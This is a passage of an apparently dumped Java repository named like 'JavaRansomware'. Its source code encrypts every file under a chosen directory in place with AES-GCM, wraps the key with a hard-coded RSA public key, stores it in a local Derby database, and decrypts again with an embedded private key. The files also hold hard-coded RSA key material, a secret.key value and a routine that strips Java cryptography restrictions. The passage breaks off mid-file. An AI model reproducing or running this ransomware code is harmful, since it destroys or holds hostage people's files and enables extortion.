<version>${jackson-databind.version}</version>\n        </dependency>\n    </dependencies>\n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>kr.motd.maven</groupId>\n                    <artifactId>os-maven-plugin</artifactId>\n                    <version>${kr.motd.maven}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-assembly-plugin</artifactId>\n                    <version>${maven-assembly-plugin}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>exec-maven-plugin</artifactId>\n                    <version>${exec-maven-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>${maven-surefire-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-jar-plugin</artifactId>\n                    <version>${maven-jar-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>${maven-compiler-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-source-plugin</artifactId>\n                    <version>${maven-source-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-shade-plugin</artifactId>\n                    <version>${maven-shade-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>buildnumber-maven-plugin</artifactId>\n                    <version>${buildnumber-maven-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-javadoc-plugin</artifactId>\n                    <version>${maven-javadoc-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-gpg-plugin</artifactId>\n                    <version>${maven-gpg-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.sonatype.plugins</groupId>\n                    <artifactId>nexus-staging-maven-plugin</artifactId>\n                    <version>${nexus-staging-maven-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.jacoco</groupId>\n                    <artifactId>jacoco-maven-plugin</artifactId>\n                    <version>${jacoco-maven-plugin.version}</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>${maven-resources-plugin.version}</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <forkCount>1</forkCount>\n                    <threadCount>1</threadCount>\n                    <reuseForks>false</reuseForks>\n                    <runOrder>alphabetical</runOrder>\n                    <argLine>\n                        --add-opens java.base/java.lang=ALL-UNNAMED\n                        --add-opens java.base/java.util=ALL-UNNAMED\n                        --add-opens java.base/java.math=ALL-UNNAMED\n                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED\n                        --add-opens java.base/java.security.spec=ALL-UNNAMED\n                        --add-opens java.base/java.time=ALL-UNNAMED\n                    </argLine>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-assembly-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <id>make-assembly</id> <!-- this is used for inheritance merges -->\n                        <phase>package</phase> <!-- bind to the packaging phase -->\n                        <goals>\n                            <goal>single</goal>\n                        </goals>\n                        <configuration>\n                            <descriptors>\n                                <descriptor>src/assembly/assembly.xml</descriptor>\n                            </descriptors>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-shade-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>shade</goal>\n                        </goals>\n                        <configuration>\n                            <transformers>\n                                <transformer\n                                        implementation=\"org.apache.maven.plugins.shade.resource.ServicesResourceTransformer\"/>\n                                <transformer\n                                        implementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\">\n                                </transformer>\n                            </transformers>\n                            <filters>\n                                <filter>\n                                    <artifact>*:*</artifact>\n                                    <excludes>\n                                        <exclude>META-INF/**</exclude>\n                                        <exclude>INFO/**</exclude>\n                                        <exclude>asm:*</exclude>\n                                        <exclude>META-INF/*.MF</exclude>\n                                        <exclude>META-INF/*.SF</exclude>\n                                        <exclude>META-INF/*.DSA</exclude>\n                                        <exclude>META-INF/*.RSA</exclude>\n                                        <exclude>META-INF/versions/21/**</exclude>\n                                    </excludes>\n                                </filter>\n                            </filters>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n        <resources>\n            <resource>\n                <directory>src/resources</directory>\n                <includes>\n                    <include>**/*.txt</include>\n                    <include>**/*.so</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n</project>\n"
  },
  {
    "path": "secret.key",
    "content": "9HpDHVU9FshbvImYQb1EQE8dV0mYvUWQbc5VHqzS4HI="
  },
  {
    "path": "src/assembly/assembly.xml",
    "content": "<assembly xmlns=\"http://maven.apache.org/plugins/maven-assembly-plugin/assembly/3.7.1\"\n          xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n          xsi:schemaLocation=\"http://maven.apache.org/plugins/maven-assembly-plugin/assembly/3.7.1 http://maven.apache.org/xsd/assembly-1.1.2.xsd\">\n    <id>bin</id>\n    <formats>\n        <format>zip</format>\n    </formats>\n    <includeBaseDirectory>false</includeBaseDirectory>\n    <fileSets>\n        <fileSet>\n            <directory>${project.build.directory}</directory>\n            <outputDirectory>/</outputDirectory>\n            <includes>\n                <include>*.jar</include>\n            </includes>\n        </fileSet>\n    </fileSets>\n</assembly>"
  },
  {
    "path": "src/main/java/com/security/AESCipher.java",
    "content": "package com.security;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.GCMParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.security.SecureRandom;\nimport java.util.Base64;\n\npublic class AESCipher {\n    private static final String ALGORITHM = \"AES/GCM/NoPadding\";\n    private static final int KEY_SIZE = 256; // AES-256\n    private static final int IV_LENGTH = 12; // 12 bytes for GCM\n    private static final int TAG_LENGTH = 128; // 128-bit authentication tag\n\n\n    // Generate AES key not save to file\n    public static String generateAndNotSaveKeyAsString() throws Exception {\n        KeyGenerator keyGen = KeyGenerator.getInstance(\"AES\");\n        keyGen.init(KEY_SIZE);\n        SecretKey key = keyGen.generateKey();\n\n        // Save key as Base64 string\n        return Base64.getEncoder().encodeToString(key.getEncoded());\n    }\n\n    // Generate AES key not save to file\n    public static SecretKey generateAndNotSaveKey() throws Exception {\n        KeyGenerator keyGen = KeyGenerator.getInstance(\"AES\");\n        keyGen.init(KEY_SIZE);\n        return keyGen.generateKey();\n    }\n\n    // Generate AES key and save to file\n    public static SecretKey generateAndSaveKey(String keyFile) throws Exception {\n        KeyGenerator keyGen = KeyGenerator.getInstance(\"AES\");\n        keyGen.init(KEY_SIZE);\n        SecretKey key = keyGen.generateKey();\n\n        // Save key as Base64 string\n        String encodedKey = Base64.getEncoder().encodeToString(key.getEncoded());\n        Files.write(Path.of(keyFile), encodedKey.getBytes());\n        return key;\n    }\n\n    // Load key from string\n    public static SecretKey loadKey(String encodedKey) throws IOException {\n        byte[] decodedKey = Base64.getDecoder().decode(encodedKey);\n        return new SecretKeySpec(decodedKey, \"AES\");\n    }\n\n    // Load key from file\n    public static SecretKey loadKeyFormFile(String keyFile) throws IOException {\n        byte[] encodedKey = Files.readAllBytes(Path.of(keyFile));\n        byte[] decodedKey = Base64.getDecoder().decode(encodedKey);\n        return new SecretKeySpec(decodedKey, \"AES\");\n    }\n\n    // Encrypt file and replace original\n    public static void encryptFile(String filePath, SecretKey key) throws Exception {\n        // Read original file\n        byte[] fileData = Files.readAllBytes(Path.of(filePath));\n\n        // Generate IV\n        byte[] iv = new byte[IV_LENGTH];\n        new SecureRandom().nextBytes(iv);\n\n        // Initialize cipher\n        Cipher cipher = Cipher.getInstance(ALGORITHM);\n        cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));\n\n        // Encrypt data\n        byte[] encryptedData = cipher.doFinal(fileData);\n\n        // Write IV + encrypted data back to the same file\n        try (FileOutputStream fos = new FileOutputStream(filePath)) {\n            fos.write(iv);\n            fos.write(encryptedData);\n        }\n    }\n\n    // Decrypt file and replace encrypted version\n    public static void decryptFile(String filePath, SecretKey key) throws Exception {\n        // Read encrypted file (IV + ciphertext)\n        byte[] encryptedFile = Files.readAllBytes(Path.of(filePath));\n\n        // Extract IV (first 12 bytes)\n        byte[] iv = new byte[IV_LENGTH];\n        System.arraycopy(encryptedFile, 0, iv, 0, IV_LENGTH);\n\n        // Extract ciphertext (remaining bytes)\n        byte[] ciphertext = new byte[encryptedFile.length - IV_LENGTH];\n        System.arraycopy(encryptedFile, IV_LENGTH, ciphertext, 0, ciphertext.length);\n\n        // Initialize cipher\n        Cipher cipher = Cipher.getInstance(ALGORITHM);\n        cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(TAG_LENGTH, iv));\n\n        // Decrypt data\n        byte[] decryptedData = cipher.doFinal(ciphertext);\n\n        // Write decrypted data back to the same file\n        try (FileOutputStream fos = new FileOutputStream(filePath)) {\n            fos.write(decryptedData);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/DatabaseRetrieveHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class DatabaseRetrieveHandler implements Handler<PipelineData, PipelineData> {\n\n    public DatabaseRetrieveHandler() {\n    }\n\n    @SneakyThrows\n    @Override\n    public PipelineData process(PipelineData input) {\n        String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();\n\n        if (encryptedSymmetricKey != null) {\n            System.out.println(\"Retrieved existing string: \" + encryptedSymmetricKey);\n            input.setEncKeyCode(encryptedSymmetricKey);\n        }\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/DatabaseStoreHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class DatabaseStoreHandler implements Handler<PipelineData, PipelineData> {\n\n    public DatabaseStoreHandler() {\n    }\n\n    @SneakyThrows\n    @Override\n    public PipelineData process(PipelineData input) {\n        String encryptedSymmetricKey = DerbyStorage.getInstance().retrieveString();\n\n        if (encryptedSymmetricKey == null) {\n            // Store a new string\n            DerbyStorage.getInstance().storeString(input.getEncKeyCode());\n            System.out.println(\"Retrieved newly stored string: \" + input.getEncKeyCode());\n        }\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/DecryptKeyHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\n\nimport java.security.PrivateKey;\n\npublic class DecryptKeyHandler implements Handler<PipelineData, PipelineData> {\n    @Override\n    @SneakyThrows\n    public PipelineData process(PipelineData input) {\n        if (input.getPrivateKey() == null) {\n            throw new RansomwareException(\"Private key is null\");\n        }\n        if (input.getEncKeyCode() == null) {\n            return input;\n        }\n        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(input.getPrivateKey());\n        String plainKeyString = RSACipher.getInstance().decrypt(input.getEncKeyCode(), privateKey);\n        input.setSecretKey(plainKeyString);\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/DerbyStorage.java",
    "content": "package com.security;\n\nimport java.sql.*;\n\npublic class DerbyStorage {\n    private static final String DB_URL = \"jdbc:derby:encryptedKeyDB;create=true\";\n    private static final String TABLE_NAME = \"STRING_STORE\";\n    private static final String COLUMN_NAME = \"stored_string\";\n\n    private Connection connection;\n    private static volatile DerbyStorage instance;\n\n    private DerbyStorage() {\n        if (instance != null) {\n            throw new IllegalStateException(\"Already initialized.\");\n        }\n        try {\n            // Initialize connection\n            connection = DriverManager.getConnection(DB_URL);\n            // Check if table exists, create if not\n            if (!tableExists()) {\n                createTable();\n            }\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static DerbyStorage getInstance() {\n        var result = instance;\n        if (result == null) {\n            synchronized (DerbyStorage.class) {\n                result = instance;\n                if (result == null) {\n                    result = new DerbyStorage();\n                    instance = result;\n                }\n            }\n        }\n        return result;\n    }\n\n    private boolean tableExists() throws SQLException {\n        boolean exists = false;\n        ResultSet rs = connection.getMetaData().getTables(null, null, TABLE_NAME, null);\n\n        if (rs.next()) {\n            exists = true;\n        }\n\n        rs.close();\n        return exists;\n    }\n\n    private void createTable() throws SQLException {\n        Statement stmt = connection.createStatement();\n        String createTableSQL = \"CREATE TABLE \" + TABLE_NAME + \" (\" + COLUMN_NAME + \" VARCHAR(255))\";\n        stmt.executeUpdate(createTableSQL);\n        stmt.close();\n        System.out.println(\"Table created successfully.\");\n    }\n\n    public void storeString(String value) throws SQLException {\n        // First, check if table already has a string\n        String existingString = retrieveString();\n\n        if (existingString != null) {\n            // Update the existing string\n            PreparedStatement updateStmt = connection.prepareStatement(\n                    \"UPDATE \" + TABLE_NAME + \" SET \" + COLUMN_NAME + \" = ?\");\n            updateStmt.setString(1, value);\n            updateStmt.executeUpdate();\n            updateStmt.close();\n        } else {\n            // Insert a new string\n            PreparedStatement insertStmt = connection.prepareStatement(\n                    \"INSERT INTO \" + TABLE_NAME + \" (\" + COLUMN_NAME + \") VALUES (?)\");\n            insertStmt.setString(1, value);\n            insertStmt.executeUpdate();\n            insertStmt.close();\n        }\n\n        System.out.println(\"String stored successfully: \" + value);\n    }\n\n    public String retrieveString() throws SQLException {\n        String retrievedString = null;\n        Statement stmt = connection.createStatement();\n        ResultSet rs = stmt.executeQuery(\"SELECT \" + COLUMN_NAME + \" FROM \" + TABLE_NAME);\n\n        if (rs.next()) {\n            retrievedString = rs.getString(COLUMN_NAME);\n        }\n\n        rs.close();\n        stmt.close();\n        return retrievedString;\n    }\n\n    public void close() {\n        try {\n            if (connection != null && !connection.isClosed()) {\n                connection.close();\n                // Shut down Derby\n                try {\n                    DriverManager.getConnection(\"jdbc:derby:;shutdown=true\");\n                } catch (SQLException e) {\n                    // Derby always throws an exception on proper shutdown\n                    if (e.getSQLState().equals(\"XJ015\")) {\n                        System.out.println(\"Derby shutdown successfully.\");\n                    } else {\n                        e.printStackTrace();\n                    }\n                }\n            }\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/EncryptKeyHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\n\nimport java.nio.charset.StandardCharsets;\nimport java.security.PublicKey;\n\npublic class EncryptKeyHandler implements Handler<PipelineData, PipelineData> {\n    @Override\n    @SneakyThrows\n    public PipelineData process(PipelineData input) {\n        if (input.getPublicKey() == null) {\n            throw new RansomwareException(\"Public key is null\");\n        }\n        PublicKey pub = RSAGenKeyReader.loadPublicKey(input.getPublicKey());\n        String encrypted = RSACipher.getInstance().encrypt(input.getSecretKey().getBytes(StandardCharsets.UTF_8), pub);\n        input.setEncKeyCode(encrypted);\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/Example.java",
    "content": "package com.security;\n\n\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.security.GeneralSecurityException;\n\npublic class Example {\n    private static final String PubicKey = \"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==\";\n    private static final String PrivateKey = \"MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=\";\n\n\n    public static void main(String[] args) throws RansomwareException, GeneralSecurityException {\n        // Set Whatever path you want to test\n        Path testPath = Paths.get(\"C:\\\\Users\\\\User\\\\Documents\\\\GitHub\\\\JavaRansomware\\\\src\\\\resources\");\n        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource(\"/test.txt\")).toURI());\n        PipelineData pipelineData = new PipelineData();\n        pipelineData.setPrivateKey(PrivateKey);\n        pipelineData.setPublicKey(PubicKey);\n\n        // Alternative Gen RSA. Make sure you save the keypair to a file if not loaded\n//        RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();\n//        pipelineData.setPrivateKey(keyPair.privateKey());\n//        pipelineData.setPublicKey(keyPair.publicKey());\n\n        pipelineData.setRootPath(testPath.toAbsolutePath().toString());\n\n        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new GenSymmetricKeyHandler())\n                .addHandler(new RansomwareEncryptHandler())\n                .addHandler(new EncryptKeyHandler())\n                .addHandler(new DatabaseStoreHandler());\n        var encrypt_output = encrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline encrypt_output: \" + encrypt_output);\n\n\n        Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new DecryptKeyHandler())\n                .addHandler(new RansomwareDecryptHandler())\n                .addHandler(new DecryptKeyHandler());\n        var decrypt_output = decrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline output: \" + decrypt_output);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/GenSymmetricKeyHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class GenSymmetricKeyHandler implements Handler<PipelineData, PipelineData> {\n    @Override\n    @SneakyThrows\n    public PipelineData process(PipelineData input) {\n        if (input.getEncKeyCode() != null) {\n            return input;\n        }\n        input.setSecretKey(AESCipher.generateAndNotSaveKeyAsString());\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/Handler.java",
    "content": "package com.security;\n\ninterface Handler<I, O> {\n    O process(I input);\n}\n"
  },
  {
    "path": "src/main/java/com/security/Pipeline.java",
    "content": "package com.security;\n\npublic class Pipeline<I, O> {\n\n    private final Handler<I, O> currentHandler;\n\n    public Pipeline(Handler<I, O> currentHandler) {\n        this.currentHandler = currentHandler;\n    }\n\n    public <K> Pipeline<I, K> addHandler(Handler<O, K> newHandler) {\n        return new Pipeline<>(input -> newHandler.process(currentHandler.process(input)));\n    }\n\n    public O execute(I input) {\n        return currentHandler.process(input);\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/com/security/PipelineData.java",
    "content": "package com.security;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.Objects;\n\n@Setter\n@Getter\npublic class PipelineData {\n\n    private String rootPath;\n    private String encKeyCode;\n    private String secretKey;\n    private String publicKey;\n    private String privateKey;\n\n    public PipelineData() {\n    }\n\n\n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) return false;\n        PipelineData that = (PipelineData) o;\n        return Objects.equals(rootPath, that.rootPath) && Objects.equals(encKeyCode, that.encKeyCode) && Objects.equals(secretKey, that.secretKey) && Objects.equals(publicKey, that.publicKey) && Objects.equals(privateKey, that.privateKey);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(rootPath, encKeyCode, secretKey, publicKey, privateKey);\n    }\n\n    @Override\n    public String toString() {\n        return \"PipelineData{\" +\n                \"rootPath='\" + rootPath + '\\'' +\n                \", encKeyCode='\" + encKeyCode + '\\'' +\n                \", secretKey=\" + secretKey +\n                \", publicKey='\" + publicKey + '\\'' +\n                \", privateKey='\" + privateKey + '\\'' +\n                '}';\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/RSACipher.java",
    "content": "package com.security;\n\nimport org.bouncycastle.jce.provider.BouncyCastleProvider;\n\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.security.*;\nimport java.util.Base64;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class RSACipher {\n\n    private static final String ALGORITHM = \"RSA/ECB/PKCS1Padding\";\n    private static final int KEY_SIZE = 256; // AES-256\n    private static final int IV_LENGTH = 12; // 12 bytes for GCM\n    private static final int TAG_LENGTH = 128; // 128-bit authentication tag\n\n    private static volatile RSACipher instance;\n    private static String prov;\n\n    private RSACipher() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {\n        // to prevent instantiating by Reflection call\n        if (instance != null) {\n            throw new IllegalStateException(\"Already initialized.\");\n        }\n        Security.addProvider(new BouncyCastleProvider());\n        Init();\n    }\n\n    public static RSACipher getInstance() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {\n        var result = instance;\n        if (result == null) {\n            synchronized (RSACipher.class) {\n                result = instance;\n                if (result == null) {\n                    result = new RSACipher();\n                    instance = result;\n                }\n            }\n        }\n        return result;\n    }\n\n    private void Init() {\n        for (Provider provider : Security.getProviders()) {\n            //System.out.println(\"Provider: \" + provider.getName());\n            Set<Provider.Service> services = provider.getServices();\n            for (Provider.Service service : services) {\n                if (\"Cipher\".equals(service.getType())) {\n                    if (service.getAlgorithm().equals(ALGORITHM)) {\n                        //System.out.println(\" - \" + service.getAlgorithm());\n                        prov = provider.getName();\n                        break;\n                    }\n                }\n            }\n        }\n    }\n\n    public String encrypt(byte[] data, PublicKey publicKey) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException, IllegalBlockSizeException, BadPaddingException {\n        Cipher cipher = Cipher.getInstance(ALGORITHM, \"BC\");\n        cipher.init(Cipher.ENCRYPT_MODE, publicKey);\n        return Base64.getEncoder().encodeToString(cipher.doFinal(data));\n    }\n\n    public String decrypt(String encrypted, PrivateKey privateKey) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, NoSuchProviderException {\n        Cipher cipher = Cipher.getInstance(ALGORITHM, \"BC\");\n        cipher.init(Cipher.DECRYPT_MODE, privateKey);\n        byte[] data = Base64.getDecoder().decode(encrypted);\n        return new String(cipher.doFinal(data));\n    }\n\n    private static void removeCryptographyRestrictions() {\n        if (!isRestrictedCryptography()) {\n            System.out.println(\"Cryptography restrictions removal not needed\");\n            return;\n        }\n        try {\n\n            final Class<?> jceSecurity = Class.forName(\"javax.crypto.JceSecurity\");\n            final Class<?> cryptoPermissions = Class.forName(\"javax.crypto.CryptoPermissions\");\n            final Class<?> cryptoAllPermission = Class.forName(\"javax.crypto.CryptoAllPermission\");\n\n            final Field isRestrictedField = jceSecurity.getDeclaredField(\"isRestricted\");\n            isRestrictedField.setAccessible(true);\n            final Field modifiersField = Field.class.getDeclaredField(\"modifiers\");\n            modifiersField.setAccessible(true);\n            modifiersField.setInt(isRestrictedField, isRestrictedField.getModifiers() & ~Modifier.FINAL);\n            isRestrictedField.set(null, false);\n\n            final Field defaultPolicyField = jceSecurity.getDeclaredField(\"defaultPolicy\");\n            defaultPolicyField.setAccessible(true);\n            final PermissionCollection defaultPolicy = (PermissionCollection) defaultPolicyField.get(null);\n\n            final Field perms = cryptoPermissions.getDeclaredField(\"perms\");\n            perms.setAccessible(true);\n            ((Map<?, ?>) perms.get(defaultPolicy)).clear();\n\n            final Field instance = cryptoAllPermission.getDeclaredField(\"INSTANCE\");\n            instance.setAccessible(true);\n            defaultPolicy.add((Permission) instance.get(null));\n\n            System.out.println(\"Successfully removed cryptography restrictions\");\n        } catch (final Exception e) {\n            System.out.println(\"Failed to remove cryptography restrictions\" + e);\n        }\n    }\n\n    private static boolean isRestrictedCryptography() {\n        return \"Java(TM) SE Runtime Environment\".equals(System.getProperty(\"java.runtime.name\"));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/RSAGenKeyReader.java",
    "content": "package com.security;\n\nimport org.apache.commons.codec.binary.Base64;\n\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.security.*;\nimport java.security.spec.PKCS8EncodedKeySpec;\nimport java.security.spec.X509EncodedKeySpec;\nimport java.util.Arrays;\n\npublic class RSAGenKeyReader {\n\n    private static final String Algorithm = \"RSA\";\n\n    public static StringKeyPair generateKeyPair() throws GeneralSecurityException {\n        KeyPairGenerator keyGen = KeyPairGenerator.getInstance(\"RSA\");\n        keyGen.initialize(2048);  // Key size (1024, 2048, 4096)\n        java.security.KeyPair keyPair = keyGen.generateKeyPair();\n        PublicKey publicKey = keyPair.getPublic();\n        PrivateKey privateKey = keyPair.getPrivate();\n        return new StringKeyPair(Base64.encodeBase64String(publicKey.getEncoded()), Base64.encodeBase64String(privateKey.getEncoded()));\n    }\n\n    public static PublicKey loadPublicKey(String stored) throws GeneralSecurityException {\n        byte[] data = Base64.decodeBase64(stored);\n        X509EncodedKeySpec spec = new X509EncodedKeySpec(data);\n        KeyFactory fact = KeyFactory.getInstance(Algorithm);\n        return fact.generatePublic(spec);\n    }\n\n    public static PrivateKey loadPrivateKey(String key64) throws GeneralSecurityException {\n        byte[] clear = Base64.decodeBase64(key64);\n        PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(clear);\n        KeyFactory fact = KeyFactory.getInstance(Algorithm);\n        PrivateKey priv = fact.generatePrivate(keySpec);\n        Arrays.fill(clear, (byte) 0);\n        return priv;\n    }\n\n    public static PrivateKey loadPrivateKey(File PrivFile) throws Exception {\n        byte[] keyBytes = Files.readAllBytes(PrivFile.toPath());\n        PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes);\n        KeyFactory kf = KeyFactory.getInstance(Algorithm);\n        return kf.generatePrivate(spec);\n    }\n\n    public static PublicKey loadPublicKey(File PubFile) throws Exception {\n        byte[] keyBytes = Files.readAllBytes(PubFile.toPath());\n        X509EncodedKeySpec spec = new X509EncodedKeySpec(keyBytes);\n        KeyFactory kf = KeyFactory.getInstance(Algorithm);\n        return kf.generatePublic(spec);\n    }\n\n\n    public record StringKeyPair(String publicKey, String privateKey) {\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/RansomwareDecryptHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.filefilter.TrueFileFilter;\n\nimport javax.crypto.SecretKey;\nimport java.io.File;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Collection;\n\npublic class RansomwareDecryptHandler implements Handler<PipelineData, PipelineData> {\n    private static final String SEARCH = \"encryptedKeyDB\";\n\n    @Override\n    @SneakyThrows\n    public PipelineData process(PipelineData input) {\n        Path rootPath = Paths.get(input.getRootPath());\n        Collection<File> files = FileUtils.listFilesAndDirs(\n                rootPath.toFile(),\n                TrueFileFilter.INSTANCE,\n                TrueFileFilter.INSTANCE\n        );\n        SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());\n        files.parallelStream().forEach(file -> {\n            if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {\n                return;\n            }\n            if (file.isDirectory()) {\n            } else {\n                try {\n                    AESCipher.decryptFile(file.getPath(), secretKey);\n                } catch (Exception e) {\n                    throw new RuntimeException(e);\n                }\n            }\n        });\n        return input;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/security/RansomwareEncryptHandler.java",
    "content": "package com.security;\n\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.filefilter.TrueFileFilter;\n\nimport javax.crypto.SecretKey;\nimport java.io.File;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Collection;\n\npublic class RansomwareEncryptHandler implements Handler<PipelineData, PipelineData> {\n    private static final String SEARCH = \"encryptedKeyDB\";\n\n    @Override\n    @SneakyThrows\n    public PipelineData process(PipelineData input) {\n        Path rootPath = Paths.get(input.getRootPath());\n        Collection<File> files = FileUtils.listFilesAndDirs(\n                rootPath.toFile(),\n                TrueFileFilter.INSTANCE,\n                TrueFileFilter.INSTANCE\n        );\n        SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());\n        files.parallelStream().forEach(file -> {\n            if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {\n                return;\n            }\n            if (file.isDirectory()) {\n            } else {\n                try {\n                    